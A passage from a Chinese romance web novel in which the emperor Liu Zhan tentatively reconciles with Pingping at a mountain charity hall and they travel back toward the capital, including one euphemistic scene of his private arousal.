仿佛是谁想触又不敢碰的手。 于是，在那只蚊子再次飞近萍萍脸颊时，她在梦里猛地一抓，明显抓住了肉，萍萍倏地坐起，见帐帘飘，窗户敞，一道白影一晃逃远。 天热她睡觉穿得少，上身仅一件肚兜，没奈何穿衣绾发，才再追出去，哪还有柳湛踪影。 天亮得早，但瀼瀼清雾，青山绿水皆罩一层银纱。 萍萍只能在茫茫雾中呼唤：“柳湛！” 她在飘渺中回身，绾漏的一缕发丝随之翩跹：“柳湛！” “柳湛！” 四面八方，转着圈喊，却一直无人应，萍萍生气，高囔一句：“你给我出来柳湛！” 甚至有一霎她想，要是今天他一直躲着做缩头乌龟，又见不着，她一定会想个办法，下次势必将他引出来。 但这个办法肯定不是把她自己弄病，也不是天灾人祸。 迷蒙雾气聚了又散，散了再聚，萍萍陡然瞅见雾后有一白影，和雾的区别就像玉与雪，霜与梨花，极容易看漏。 萍萍记得那边是石栏，再后面是石涧、小瀑和细竹，有一只尾巴极长，对她开过好几回屏的白孔雀总爱停在那里。 是孔雀，不是柳湛。 萍萍还没走近就以为认错，心缓慢下沉。 及至近前，却又被气得笑一声，才不是什么白孔雀，伫在石栏前的男子背对着她，细腰长臂，长身玉立，晨雾中愈显清尘脱俗。 浓雾渐薄，她竟能清晰眺见他耳后小痣。 萍萍勾了下唇角。 而背对的柳湛，虽然岿然不动，亦不发声，内心却早已欢呼雀跃：她这回没有再唤他陛下，直呼其名！ 有多久，多久她没有这样唤过！ 比仙乐还动听！ 柳湛的心仿佛刚才栏后那只受惊的麻雀，从溪石振翅直飞到最高峰上。 但是他怕惹萍萍厌恶，不敢转身面对，怯情和欢喜打擂的结果，就是一颗心剧烈鼓动，一会想蹦出胸腔，一会又想跃出喉咙，不知道该怎么跳。 “你病好些了吗？”柳湛颤声关切。 都痊愈一个月了！ 而且就是普通伤风！ 萍萍鼓腮：“你不是知道吗？” 不信他没有探子密报。 “对不起。”柳湛三个字几乎是前字踩后字，急切异常。 他晓得萍萍已经康复，但哪怕亲眼瞧见，也不能全然放心。 总随阴晴圆缺牵挂她…… 萍萍盯着柳湛，咬唇，再咬唇，假装咬牙切齿：“是不是要我再唤你，你才肯转过来？” “我不是这个意思。”柳湛忙不迭回身，面对萍萍，“因为你说不想见到我，所以我不敢出现在你面前。可还是忍不住想你，忍不住偷偷来看你……”柳湛唇合上，喘了口气，才黯然续道，“对不起。” 他说完视线即刻瞟向地面，不敢再对视，怕从她眼中读出这也不行。 良久，不闻萍萍回应，柳湛心底自嘲地笑了笑，知道又到了告别的时候。 他这段日子又想明白许多，抬眼原本打算开口，却一对上萍萍的眼，就情不自禁来回流连，将她眉眼口鼻都细看了一回，才启唇：“我还要向你道个歉，那年重下江南，哪怕我没忆起从前，也不应该折辱你。”做错了，就要认，所以柳湛自出声起，就牢牢锁住萍萍双目，绝不回避，“这话不是因为我后来喜欢你了，才这样讲。一个人没有肆意侮辱另一个人的权利，哪怕没有喜欢上她，也不该践踏她的真心。” 人诚心谢罪，理当免冠、徒跣、肉袒亦或泥首，柳湛用萍萍送的星簪束发，没有戴冠，于是褪下鞋袜提在手上，赤足离去。 萍萍低头看他脚底一沾地，即刻布满草木和泥土，他一步一步碾在砂石上，一国之君若苦行僧。 “你其实——”萍萍出声，柳湛顿足。 她续道：“你其实可以大大方方出现在我面前。”轻叹，“你总拿日与月做比，可人生又有几个日升月落呢？” 既然已经做了决定，就不扭捏，她大大方方冲着柳湛的方向笑：“悟已往之不谏，知来者之可追。” 柳湛肩颤地下，欣喜回身，脚被石子划到却不觉疼。普照寺在这一刻撞起晨钟，宏大响亮，如棒喝，若醍醐，驱散过往魔障，打破无限机关。 柳湛激动往回走，至近前，几与萍萍脚尖抵脚尖，却无了话，只不住喘气。 良久，柳湛满面笑容问：“你吃早膳没有？” 萍萍亦笑，飞他一眼：“我不刚被你吵醒么？” “对不起。”柳湛忙认错，少顷，他小心翼翼告知：“我也没吃。” “那一起去伙房？” 柳湛一听这话，感动不已：萍萍主动要和他一起走！ 伙房要往回走，萍萍等了柳湛一步，他又感动：她主动等他！ 柳湛心田里默默淌着暖流。 他和她离得这样近，牵手的念头似棵芽苗，破土而出，柳湛搓手指，想牵又不敢牵。已经并排走出去数十步，他手还在萍萍胳膊旁边晃，她一侧首看过来，他又即刻把手收回去。 去伙房要上一段石阶，柳湛道：“小心。” 萍萍笑，这平坦的十几步台阶远不至于摔倒，她无意垂首，然后就瞧见柳湛的指尖触着她的袖口——他的动作太轻了，以至于她不低头看，都无法察觉。 柳湛屏息观察萍萍脸色，确定没有愠恼，才敢指再探数厘，从袖口挪到她手上，指覆着指。 因为两人始终在行走，这个姿势极累且别扭，柳湛却神采奕奕，终于在快到伙房时鼓起勇气，一把抓住萍萍整只手，牢牢握紧。 萍萍瞟了眼两人的手，这才发现早上梦中抓那一下，她的指甲划伤了柳湛手背，留下两道浅红痕。 柳湛却完全猜不到她在想这些，他兴奋不已，萍萍对他真好，都没有抽开手，这简直是老天最大的恩赐！ 第115章 第一百一十五章 人心不足 “你手要不要擦点药？”萍萍问。划都划了， 她是不打算道歉的。 柳湛闻声看去，才发现手上有伤。 “没事。”他笑呵呵，萍萍关心他， 自己简直就被幸福包围了。 二人尚未跨入伙房， 身在门外， 伙房里的人已经眼见瞅见他俩紧牵的手：“哎哟哟，瞧谁来了？” “来就来，手怎么牵还牵到一起去了呢？” “你懂什么， 这叫牵着手把人领来！” 各种起哄， 甚至还有鼓掌的，萍萍本来没觉不好意思， 这一闹，反而脸红，别首。 柳湛咬了下唇，笑着将她的手攥得更紧。 他领着她跨进伙房，即刻有相熟男子迎上：“柳大官人稀客啊！”男子拍柳湛肩膀，语重心长：“你这也算跛脚的王。八只要步不停，也能爬千里！” 这句应该是跛鳖千里， 终有一成。 虽然不中听， 但柳湛满心欢喜， 不以为意， 甚至还附和了一声。 倒是旁的婆子觉出不对：“麻子， 你把大官人比什么呢？大老粗别张嘴！” “好，我大老粗， 我不张嘴，你来——”男子不服气，冲婆子做了个请的姿势。 婆子连哼带白眼， 而后换一副面孔，笑嘻嘻同柳湛拱手：“恭喜大官人，贺喜大官人！烈女怕缠郎，大官人的铁杵终于磨成绣花针啦！” 柳湛唇翘嘴抿，眼珠动了下。 夕照晚起，比柳湛萍萍还来得迟，才将进来听个大概，就激动凑近柳湛耳边：“恭喜恭喜，精诚所至，金石为开。” 柳湛低头一笑。 夕照瞧他这么开心，反倒眨了眨眼，心虚了——本来她对两个人都有话说，接下来还要叮嘱萍萍：要是他再对你不好，你还跑！ 夕照不敢说了。 就在这时，四、五婆子一齐拥到萍萍和柳湛周围：“既然和好了，那不如——趁热打铁，百年好合？” “对对，什么时候再办喜事呀？到时候婚宴上我们可都要坐头桌！” 当初萍萍和柳湛对峙婚书的事满堂皆晓，这会就有人开玩笑，叫柳湛吃一堑长一智：“大官人这回可得记着，赶紧把婚书签了，别又牛上田坎扯尾巴——迟了！” 说到柳湛心坎上，他当然希望越快越好，毫不犹豫，想到这，柳湛满怀笑意凝睇萍萍，却发现她笑得很浅，微微颔首，目光游移。 显然她有几分尴尬，且没有接话。 柳湛的心像被根线划了。 但在萍萍面前，还是笑得毫无阴郁，温言细语：“想吃什么？还是我给你煮汤饼？” 萍萍进门就瞧见灶上一锅碧油正炸馓子，金黄澄亮，散发酥香。她不委屈自己，直言：“不用，我今天想吃馓子。” 说着就自个去要了一盘，又舀碗豆浆，柳湛效仿也要了一盘一碗，二人前后脚重新落座。 面对着面，萍萍掰下数根馓子，沾上豆浆，一咬一大口。 见她吃得津津有味，柳湛禁不住也食欲大开，尝了一口，果然好吃！ 他笑意更浓，却忽然意识到，萍萍自始至终都在吃自己的，没有招呼他，更没有向他分享、介绍美食。 从前她会等他一道分享酥油鲍螺，滔滔不绝，剖析肝胆，想把自己从里到外全说给他听。 柳湛经历过至真至纯，有比较，能分辨，面上不动声色，心里那根线却又划了下，还一扯，疼，仿佛是根风筝线。 萍萍盘里尚未吃完，更没再要，厨娘却主动递过来一盘新的：“我们萍萍就喜欢吃这个！” 厨娘对着柳湛伸出三指：“只要炸馓子，她最少吃三盘！” 左边那桌的小娘子闻言转过身来，补充萍萍的糗事：“她还会把早上剩下没吃完的装麻袋里，就当零嘴，一边和我们聊天一边吃，一袋子一天就吃光！” “然后就被油到，喝这个茶解腻。”右边那桌小娘子提壶走来萍萍这桌，给她倒了碗紫苏、桂花煎的茶汤。 诸人同柳湛说笑：“就你，天天让人家吃汤饼！” 柳湛勉力回笑。 萍萍抬眼看了下柳湛，他和颜悦色询问：“你什么时候喜欢这些的？” 馓子、茶汤，从前都没有的。 “这两年。”萍萍笑答。 柳湛心里缓缓地想：问一答一，她完全没打算分享更多。 他的欣喜和幸福顷刻消散。 但想着萍萍爱吃这个，过会还是起身，主动去帮忙炸馓子。厨娘搓好面，柳湛一根根往油锅里下，长筷翻面，终因心沉有一下动作大了点，热油飞溅到他手上，被烫了下。 柳湛挪眼瞥向自己手背。 “鲜少有官人做给娘子吃的，你这一听她喜欢吃，就立马下厨，”厨娘边和面边感叹。 世间夫为妻纲，女子侍奉夫君，仿佛天经地义。像厨娘，当年成亲后，就开始为夫君一家老小烹饪三餐，却不曾吃过一碗夫君亲手下的汤饼。 如此两年，自以为无错处，却还是惹婆婆不满，被夫君休弃，躲进善堂。 厨娘不由赞许柳湛：“大官人这般矜贵人，还能做到这种程度，实属难得。” 柳湛闻言却泛起一笑，反夸萍萍：“她也经常做给我吃，比我给她做的要多得多，而且她厨艺比我好，小排汤饼、酥油鲍螺，皆是一绝。她连洗面汤都调得比别人舒服。” 柳湛不由自主望向还在吃的萍萍，满目柔情，缓缓地想：她是这世上最好的娘子。 …… 眼下天热，许多人躲进山里避暑，山居和普照寺忙不过来，便请了善堂的人做短工——因为寺里和山居经常接济善堂，大伙都没要报酬。 用完早膳，男子就去普照寺，女子去各山居。 萍萍分到的这家叫“秋暝精舍”，她负责打扫院落并灌满水缸。 萍萍打算先挑水，柳湛却先一步拿起扁担：“我来挑，你先扫吧。” 萍萍旋即福身：“辛苦郎君了。” 柳湛手上一顿，继而笑挑起空桶，走到门口时回首再眺萍萍一眼，她正背对他打扫，两侧树叶油绿，她刚好穿着也是条绿褶裙，腰肢曲致。 柳湛想起那声郎君，心中一涩，转回头挑起空桶向山井走去。 要走五、六个来回才能灌满一缸。 他暗中用了轻功，走得快，水缸盛满时萍萍仍未扫完，柳湛自然而然夺过扫帚：“我来扫，你歇着。” 萍萍道了声谢，不推让，扫帚递给给他。 她看柳湛往东南方向扫，不由提醒：“陛下。” 柳湛整个人一僵，缓慢回头。 萍萍指西边：“那边有落叶。” 柳湛颔首，走去西侧角落，三两下将落叶扫尽。 等一切忙完，二人沿着山路折返，柳湛先牵住她的手，才缓缓发问：“你怎么……又唤回陛下、郎君？” 他垂眼瞥二人相牵处，萍萍虽任由他攥着，但也仅仅只是攥着，不像从前，她会主动回应，穿过他的指缝，变成十指紧扣。对他更好点的时候，还会主动让两臂也缠住，脸贴上他胳膊。 柳湛突然极羡慕从前的自己。 萍萍不察，亦未深想，已经开始一五一十解释：“没人的时候可以唤你陛下，但刚才你拿扁担时，店主人经过，所以我有所顾忌，改唤郎君。” 柳湛愈发听得不是滋味，陛下是什么非常亲密的称呼吗？ 他侧首看向萍萍，刚好萍萍也扭头看柳湛，目光对上，萍萍猜出他在无声问：那为何之前直呼柳湛？ 便答：“之前不是要确认是不是陛下嘛，我如果喊郎君，谁知道是哪一位？所以只能冒犯陛下，直呼姓名。” 但事后再想，萍萍其实是有几分懊悔和后怕的，天底下谁不知道官家姓名？ 柳湛只对善堂众人介绍过自己的姓，从未提及名字。 万幸那会石栏周围没人，不然就被她暴露了。 “我那时有些冲动了。”萍萍压低下巴，唏嘘，“要是三思后行，我绝对不会那样喊。” 柳湛更绝望了。 他深吸口气，改望向前方，却发现随侍等在远处，柳湛顷刻隐去一切表情。 待相逢，随侍拱手躬身：“郎君。” 萍萍见状要绕过去，避开，柳湛却不放手，反将她往自己身边拉近：“不用避。” 萍萍于是定足低头，眼观鼻，鼻观心。 随侍向柳湛禀奏了些政务，总而言之，未免怠政，又要回京。 柳湛心底轻叹一口，来匆匆，去匆匆，总似雨后霓虹短暂。 他眼神示意随侍退下，而后回身看向萍萍，告知：“过几日我要回宫。” 萍萍刚才都听见了，此刻柳湛再重复一遍，她表情并没有什么变化。 柳湛紧紧盯着她的脸，害怕呀，甚至怕得不敢继续问下去：“你愿意……和我一道回去吗？” 萍萍点头，既然说了来者可追，那就是要和他继续走下去。 柳湛却觉不真切，心里那根风筝线再次扯动，又好像他自己就是个在狂风暴雨风里放风筝的人，虽然现在风筝还在眼前飞舞，却总觉线要断。 柳湛牢牢抓着萍萍的手，好不容易再次牵住，他是不会放的，可怎么既高兴又不安…… 二人回善堂时，将过午后，堂主来找萍萍，说是近来捐款善人多，之前的《心经》已经回馈完了，让萍萍帮忙再抄些。 堂主道：“你抄个三、四十份就好。” 萍萍估算了下，善人多的话，几十份一两天就能发完：“不够用吧？” 堂主笑道：“张安说好了明日要上来抄，你管够今日就好。” “我帮着一起抄，可以多抄些。”柳湛旋即插话。 “哎呀你瞧我这！”堂主拍了下自个脑袋，“忘了大官人您也是吃墨水的！” 堂主道过谢，匆匆离去。 萍萍将柳湛领去往常和张安一起抄经、做账的次间，柳湛进门既眺窗外，绿树成荫，偶闻蝉鸣。 昔日窗外望窗里，今日终能窗里望窗外。他鼻酸，吸了下。 彼时嫌张安和她坐得太 近，眼下却觉两张桌离太远，银河也不过如此。 柳湛想搬椅子和她坐同一张桌上抄，却又不敢。 重修旧好，可这好却修得诚惶诚恐，他心底自嘲一笑。 柳湛默默吞咽一口，好像要把这苦水吞回肚里。 这《心经》全名《摩诃般若波罗蜜大明咒经》，如今流传的是玄奘法师的译本。 算是最耳熟能详的经文，不管信不信佛，都听过一二。 柳湛少时就会背，然而抄到“依般若波罗蜜多故，心无挂碍。无挂碍故，无有恐怖”这句，却似雷劈电打，吓得丢下毫笔。 动静颇大，萍萍闻声望来，还来不及启唇询问，柳湛就已狂奔到她面前，急急蹲下，袍角随之旋起，在地上展开。他手箍着她的腰，脑袋亦贴在萍萍腰间，因为害怕，乞求的声音沾上几分颤抖：“你不要无挂碍。” 他好怕她无挂碍，就不要他了。 萍萍怔住，自己不是已经答应和好了吗？怎么他还患得患失？ 第116章 第一百一十六章 娘子 她仔细思考了很久， 才意识到自己很多时候没有给予柳湛回应。 她是真心想和好，但也是真的，做不出从前的轰轰烈烈， 除非演。 萍萍抬臂， 缓慢揽住柳湛的背， 迟缓笨拙得像第一次拥抱爱人。她言语上也尝试着回应他：“不会的。要不……我们早点回宫吧？明日？” 可说出口的语气习惯性平淡，柳湛没有觉出半点示好意味，依旧忐忑。他也不敢接话， 怕多说多错， 只将萍萍搂得更紧，两只胳膊并脸颊都贴着她衣料。 三伏天， 纵使堂里阴凉，萍萍还是被柳湛粘出汗，热得慌，她改搂为推，让他起身：“接着抄，起码要抄四十份呢。” 柳湛虽仍不安，但还是顺从站起， 坐回自己那张桌后。 方才慌张掷笔， 墨不仅污了张快抄好的， 还连带报废七、八张白纸。柳湛默吁口气， 沉下心腰背挺直，一手摁纸，一手执笔， 重新开始誊写：观自在菩萨，行深般若波罗蜜多时…… 他和萍萍拢共誊抄一百来份，交给堂主。堂主翻了几张， 停住：“萍萍，这份是你抄的还是柳大官人抄的？” “我写的。”柳湛接话，“怎么了？” 堂主视线在那张经文上流连：“大官人字写得真好。我是个粗人，说不出哪好，但就瞧着赏心悦目。” 堂主将经文合拢，递还给萍萍和柳湛：“我忙不过来，还得劳烦你们帮忙跑一趟。” 柳湛不明所以，看向萍萍。 萍萍却笑应堂主：“好，行！” 她捧上经文，和柳湛边走边解释，回馈善人的经文都要送去普照寺，让僧人们对着经文念一遍开光，这样才灵。 柳湛垂眼，不置可否。 待跨进普照寺，院中全是烟味，中央铜炉围满好几层香客。 柳湛抬手，撩了撩眼前的烟。萍萍在旁道：“据说这里的菩萨很灵，所以香火旺盛。” 这话被前面的香客听见，扭头搭话：“因为普照寺的菩萨是我们灌州最心软最慈悲的，你求什么他都会应。” 萍萍同那香客笑了笑，和柳湛继续往前走，迈入大雄宝殿。 “郎君。” 萍萍又唤他郎君了，柳湛心一沉。 她吩咐：“你在这等会，我把经文拿进去。” 柳湛笑望着她，点了点头，萍萍便往里去。他自在这里，视线默默掠过一众虔诚香客。 八只蒲团，全部跪满。之前和他们搭讪的香客抢到一个，正一边磕头一边叨叨：“菩萨保佑我今年发大财，明年也发大财……” 旁边蒲团，则跪了个半大男童，另有一妇人径直跪在地板上，压着男童一起叩拜：“恳请菩萨保佑，我儿将来高中秀才！” 他不苟言笑，缓慢扬起下巴，将视线移至菩萨身上——铜铸的，非泥塑。铜肝铁胆，当真能心软么？ 柳湛默退两步，排到队伍最末，待轮到他时，手一撩袍，屈膝跪上蒲团。 萍萍刚好捧着开了光的经文出来，睹见柳湛跪拜，万分诧异，瞪大了杏眼：天下至尊，他还求什么名利？ 柳湛拜完起身，刚好瞧见萍萍，翘起唇角，快步走到她身边。 萍萍笑问：“你求什么呢？” 柳湛所求唯一人，斟酌片刻，决定如实相告：“我求我们能永远在一起。” 萍萍低头，泛起浅笑——她不敢说永远，只把握今朝。 柳湛再眺一眼铜像，二人仍在大雄宝殿内，但萍萍并没有像他一样，跪拜恳求，反而朝殿外走去。 柳湛喉头滑了下，抑下不安，快步跟上，同时安慰自己——他一个人求就够了。 “我来拿吧。”柳湛说着，轻柔接过萍萍手上经文。 原路返回善堂，因双手捧经文，他没法牵她，于是频频侧首。 可惜一次都没同萍萍目光对上，她眺着前方，边走边问：“明日返京，陛下觉得如何？” 柳湛沉默，又退回陛下了。 有时候萍萍觉得他很奇怪，非要求回应，她回应了，他自己却没下文。上回她提议回京，他就没答，眼下追问，还是不吭声。 “好与不好，陛下给个说法。”萍萍两分烦，眼瞅着前面一蛙跳过去。 “好。”柳湛低低应道。 他抬首，她扭头，四目对上，他才惊觉她误会了，以为自只答一个好字是敷衍。柳湛急着想解释，却发现词穷，点下巴，眼睛也不知道往哪里瞧：“我真觉得好。” 萍萍笑着点头。 走了十来步，柳湛才再开口，未出声先耳红，低沉道：“我天天就盼着你跟我回去。” 萍萍笑笑，二人继续同行了一会，已经到了善堂前，萍萍才轻轻回应：“知道啦。” 她说的时候柳湛正好瞥地面，她的声音像一缕微风吹进他耳中，虽未眼见，但能听出声中笑意。于是柳湛也立刻笑了，又觉短短三个字，就挠得他心痒。一交完心经，他就牵住她。 堂主依旧忙不停，二人等到晚上，才同堂主商量离开善堂的事。 堂主连连称好，翌日知会所有人，再第三日，办了场欢送宴，才辞行。 堂里人送了柳湛和萍萍许多特产，让捎回京，其中就有萍萍爱吃的馓子——堂内所有厨娘熬夜炸了四大包。 萍萍看得眼热。 堂里的娘子们连忙制止她：“唉别哭啊，以后又不是见不到。” “就是，以后我们上京找你们玩去！”虽然大多数人心里清楚，一辈子难出灌州，但此刻都开始撒谎，“成亲，你俩成亲我们肯定要去的！” “到时候包吃包住，别耍赖哦！” “对、对，还要带我们逛东京！” 萍萍侧首瞥柳湛，柳湛与她对了一眼，笑望向众人，逐一许诺：“诸位来京尽管吩咐，我一定尽地主之谊。” 柳湛瞟一眼夕照，轻轻吩咐：“到时候你带他们来。” 要分别了夕照心里难过，一声“陛下放心”差点应出口，噎了下，扯萍萍袖子，哽咽：“我在这里再多玩会，就去找你。” 萍萍虽也不舍，但想之前两年，夕照天南海北，自由自在，不能因为自己改变夕照的计划，拘束住她。萍萍便道：“你不是还有许多想去没去的地方吗？你就照之前想的，别被我左右。” 夕照低泣，说不出话。 柳湛牵起萍萍的手，随侍们帮着抱土特产，挥手下山。 山下已候着数辆马车，柳湛牵她到中间那辆，她发现拉车的马比寻常马都高大，毛发油亮，像是千里宝驹，不由问柳湛：“这马是什么品种？” “这是腾云啊。”柳湛轻叹。他只要对视就不会放过萍萍脸上任何表情，自然捕捉到她一闪而过的惊讶。 她忘了。 柳湛心涌难过，但不敢挂脸，怕惹萍萍不快。 “你让腾云拉车？”萍萍反问，她不由自主联系起《战国策》里的骥服盐车和《马说》里的千里马受祗辱。 柳湛猜了下她在想什么，回道：“灌州东京，千里 之遥。” 千里马行千里路，合理。 柳湛心想，这车载的是自己和萍萍，非要说骥服盐车，那岂不是…… “再说……”他眺眼看她，大胆一回，“你是盐吗？” 萍萍瞪他一眼，柳湛连忙躬身，手护住头：“错了错了，我是盐巴，我是盐巴。” “你躲什么，我又没说要打——”萍萍之前压根没想过动手，眼下柳湛护了，反倒装样子举起手。 柳湛见状反而放下手，不挡了，一时忘形，自然而然笑道：“要打就打，娘子恕罪，为夫该打。” 萍萍的笑一下子僵在脸上。 柳湛睹见，亦变僵硬。 两人骤然都冷了场。 四下全是随侍，没旁的人，萍萍扭头望向车内：“陛下，上车吧。” “好。”柳湛后脚应声，抬手要扶她踩脚凳，迟一霎，萍萍自己蹬上去了。她钻进车厢，帮他挑着帘子，他也钻进来，回身接那车帘，萍萍见状松手，帘子就将将落到柳湛掌上。 他滞了会，轻轻放下锦帘。 夏日炎炎，车厢闷热。 柳湛不愿意第三人待在车厢内，便自己代替内侍，车还未跑，就拾起扇子给萍萍扇风。 萍萍环视一圈，只有柳湛手中那一把扇，于是道：“你自己也扇。” 柳湛不眨眼：“这样我也有风。” 萍萍抬手要夺扇子：“我来扇一会吧。” 柳湛手臂抬高，轻松躲开：“没事，我来。” 少倾，他又道：“待会马跑来，就有风了，会凉快些。” 不一会腾云驰骋，的确有风送进绿纱窗，然而全是热风，吹得人不仅燥还痒。 “哎呀这风吹不得快关上。”萍萍边说边下意识用掌扇风。 柳湛瞅见她动作，又不动声色瞥向自己手中羽扇，终究无言。 他先关窗，而后默默去里间取了一碗冰饮子，递给萍萍：“这个消暑，喝了会好些。” 萍萍接过碗，问柳湛：“你不喝吗？” 柳湛摇头，过会，幽幽道：“我有内功心法。” 萍萍正喝着，闻言哦了一声，继续喝。 柳湛心道，扇风时暗中运了内功，加注力道，她却还觉得热，要自己用手扇。 他就这么没用吗？ 柳湛一阵挫败，心烦意乱，眺向紧闭的窗户深吸吐纳了几口，平复之后，才转回目光，猝不及防瞥见萍萍在擦汗。 她低着脑袋，用一方布手帕擦拭后脖颈，纤细未染丹寇的五指反复拂过两回，那雪白的后脖颈上就迅速浮现薄红。 天实在太热了，刚擦完，后脖颈就又渗出密密的汗珠。 柳湛渐渐觉得自己身上也在发汗，燥得慌。 他一双瞳眸极其缓慢下瞥，蜀地女子消夏穿得极其大胆，只着无袖背心，萍萍亦如是，罩了件纱罗背心，露两只藕臂。如今发汗，背心贴到身上成透明，内里那件琥珀色抹胸一览无遗。 她又生得丰腴，沟壑和峰峦随呼吸起伏。 柳湛心头火热，某地亦然，分开双腿，遮掩异样。 第117章 第一百一十七章 好事近 旷久， 他当然想了。 但不知道和好之后，萍萍对那事的态度。 柳湛怕乍然亲近，惹她不快， 更怕她因为这一怒， 重新将他推远， 甚至分别。 那他之前小心翼翼地靠近，全力以赴的努力就都白废了。 他不能允许自己功亏一篑，功败垂成。 柳湛不动声色观察， 萍萍擦汗就单单只是擦汗， 并没有那个意思。 他愈发不敢冒犯，强摁住想要掠夺的冲动， 亦压下心头火。他知道此刻应该不再看萍萍，断掉诱。惑源头，眼睛却不受控，一霎都舍不得从萍萍身上挪开。 半晌，柳湛闭上眼。 萍萍擦完汗，稍微静了点，才顺着凉风吹来的方向， 留意柳湛。见他分腿端坐， 这么热的天背依旧挺得笔直， 闭着两眼， 悠悠打着扇子，面身皆干净，看起来没出过汗。 萍萍不禁好奇：“你怎么一点也不热？” 不热？ 柳湛暗自苦笑， 他焚心似火。 “你怎么做到的？”萍萍追问。 少顷，柳湛不睁眼，只缓缓启唇， 神色淡然，语气轻飘：“心静自然凉。” 萍萍听完心里立马冒出一个词——世外高人。 她学柳湛闭起眼睛，嗯，热还是热，不管用。 到了晚上，吹的仍是热风，下马车入住驿馆，一踩着地面，明明已没太阳，却仍觉石板发烫，能炙肉蒸糕。 去年这个时候，萍萍刚好在荆湖北路，那地方比这还酷热，晚上家家户户都摆竹床到大路上，就这么天被地床，一巷子人挨着睡，方得凉爽。 萍萍学着睡了两晚，看了两晚星星。 她头回经历，觉着稀奇，记进心里，这会想同柳湛说说，已经笑着看向他了，却转念忽想：一国天子，什么没见过？ 瞬间没了分享欲望，重扭回头。 柳湛瞧得分明，面上笑容不减，心里却早思忖：是什么话她欲言又止？ 胡乱猜测一通，都不怎么好，他将她的手牵得更紧。 萍萍呲了一声，柳湛忙赔礼，说自己不知轻重，手上也不得不松开， 明月高照，一众官员并两位先到驿馆，知会安排的随侍已恭候门前。 大家见到柳湛，齐齐掀袍叩拜，为首一位，自报家门，萍萍这才晓得，原来这拨官员中不仅只馆吏，还有灌州的知州。 这位大人，似乎有政务要向柳湛禀报。 于是萍萍压低声音同柳湛商量：“我先回房？” 柳湛心弦一拨。 他玩了个巧，一路没有明确提及今晚俩人是同住，还是分房。 总想在含糊中挣得一线希望。 见柳湛垂目不语，萍萍以为默许，便向馆吏小声询问：“请问……我的房间在哪里？” 馆吏翻掌抬手：“娘子这边请。” 她感到手上被一扯，低头看去，柳湛不仅没放手，还道：“我跟你一起去吧。” 馆吏引路，过了葡萄架和金鱼池，绕到后面一座幽静主院，三面游廊。馆吏领进当中一间，萍萍环视一圈，躬身询问：“请问晚上馆里还能烧水沐浴吗？” 今日不知出了多少身汗，总 觉得要洗个澡才睡得着。 “当然能！娘子稍候，下官这就吩咐她们准备！” 馆吏退下不久，就有一干女使抬桶端盆，执着衣物手帕等等，有条不紊入内。她们屈膝默行一礼，开始熟练地拉屏风，调水温。 萍萍以前也见过这阵仗，忙阻道：“谢谢，谢谢大家，你们都放着吧，我一个人就行。” 其实衣裳首饰也不需要，她从善堂里带回许多。 女使们全被劝退，一个不留。 伫立一旁的柳湛始终垂首不语。 他好像心事沉沉，某一霎无意识抬头，才发现萍萍在看他。柳湛即刻漾起嘴角，笑道：“那我也先回去了？”不见萍萍挽留，柳湛心里黯然，面上灿烂，“我就在隔壁，有事随时喊一声。” 萍萍的确还没做好同住的准备，点头应好。 柳湛带笑转身，往外走，萍萍犹豫一霎，追上去送他到门口。 她反锁好门后，才着手沐浴。 柳湛这边，两位馆吏面面相觑——提前来的随侍报的是官家和娘子同住，没有额外安排第二间房。 好在馆吏们皆是人精，迅速布置起萍萍隔壁厢房，和柳湛说给萍萍听的话不谋而合。 女使们还在铺床，柳湛就淡淡下令：“好了，都出去。” 女使、馆吏和随侍们纷纷退下，柳湛扭头吩咐当中一位随侍：“叫刘忠嗣先回去，他的奏章朕已经看了，明早回复。” 刘忠嗣就是之前候在馆外的灌州知州。 随侍应喏，顺手带上门。 房中复归寂静。 因此隔壁厢房内的哗哗水声显得格外清晰，一下下浇在柳湛心里。 他一步一步，走近与萍萍相隔的那堵墙，轻到没有脚步声。 柳湛绷着脸，眸也深沉，车厢里的渴求并没有纾解，反而因佳人出浴引出无限遐想，愈浓愈重。 他解玉佩，解玉带，都放到桌上，再褪白袍，修长的手指不紧不慢扶住。 很快，干净的额头和翘挺的鼻梁上都渗出汗，仿佛隔壁的水珠浸在他身上。裸背紧绷，脉络分张，一滴汗也顺背滑过到腰间，再至臀。 他随着水声的轻重快慢，想象萍萍如何执起那湿哒哒的巾帕，桶里的水都浇在了何处。他愿化作那方巾帕，时而轻拂，时而狠狠擦拭，又愿化作那一桶浴水，无限包容住她。 他回想往日她扭动的腰肢若水波起伏。 柳湛身后，烛火闪烁。 他扬起下颌朝天呼出一口气，而后闭眼，喉头不住滑动，喘息越来越重，情动时终于忍不住低唤：“娘子……” 百丈深瀑，飞流直下。 * 柳湛不愿萍萍峡江涉险，宁肯多绕陆路，上兴元府，走京西南路回宫。 这一日，马车陡然前搀，柳湛伸手抚稳萍萍，而后松开。她自己也抓了窗子，柳湛有瞟见，只当未见。 “怎么回事？”他沉声询问车厢外。 赶车的随侍声音传来：“启禀郎君，车陷住了。” 柳湛修长的食指和中指并拢，挑开车帘，见前方一路皆是泥地，所乘这辆车两只轮子都陷在泥泞中。 “郎君稍候，属下们推车。”随侍说罢下车，泥巴瞬间没上小腿。其余随侍亦迅速聚拢，合力将马车推出泥洼。 然而没走几步，又是一磕，马车再次陷进去，这回，连腾云也扭头发出不满的嘶鸣。 萍萍一直观察着外面的情况，前面都是泥地，推是推不完的。她看向柳湛：“陛下，走过去吧？” 尾音扬高，语气询问，随侍可以一身泥泞，她也可以，但不知道万乘至尊行不行？ “好。”柳湛应声，他也打算淌过去，但是…… 柳湛手一撑跳下车，皂靴瞬间被稀泥淹没，瞧不见了。他抬手去牵萍萍：“来，我背你。” 萍萍正准备跨下去的腿一缩，停在车轼上。 他定定看着她，泥地路滑暗坑多，担心她摔跤担心她跌到，怕她一身泥泞弄脏了衣裙会伤心。 还怕前路漫漫，她一脚深一脚浅，走多了会累，会辛苦。 但凡出现以上任何一种情况，他都舍不得。 “来吧，我背你。”柳湛央道。 萍萍伸臂，柳湛顺手抓到自己肩膀上。她两手扣紧，他则在反手驮时默默一褶褶收好她的裙子，免得待会扫到泥。 他感觉萍萍虽然在自己背上，但脖子始终耿直，脖颈及以上都没有贴到他背上。 柳湛沉默着继续前行了十余步，萍萍依旧如此。 她这样是很累的，柳湛心想。 但情愿累，也不愿放松身体，完全依附于他。 成亲，回去必须成亲！他突然咬牙切齿地想，成亲，封后，生娃娃！两个人成了亲人，做了家人，就没有一家人再分开的道理。 那样就可以确保萍萍一辈子不离开他。 柳湛再走几步，又泛起悲凉，想想自己曾经的亲人家人，也不一定…… 该怎么办呢？ 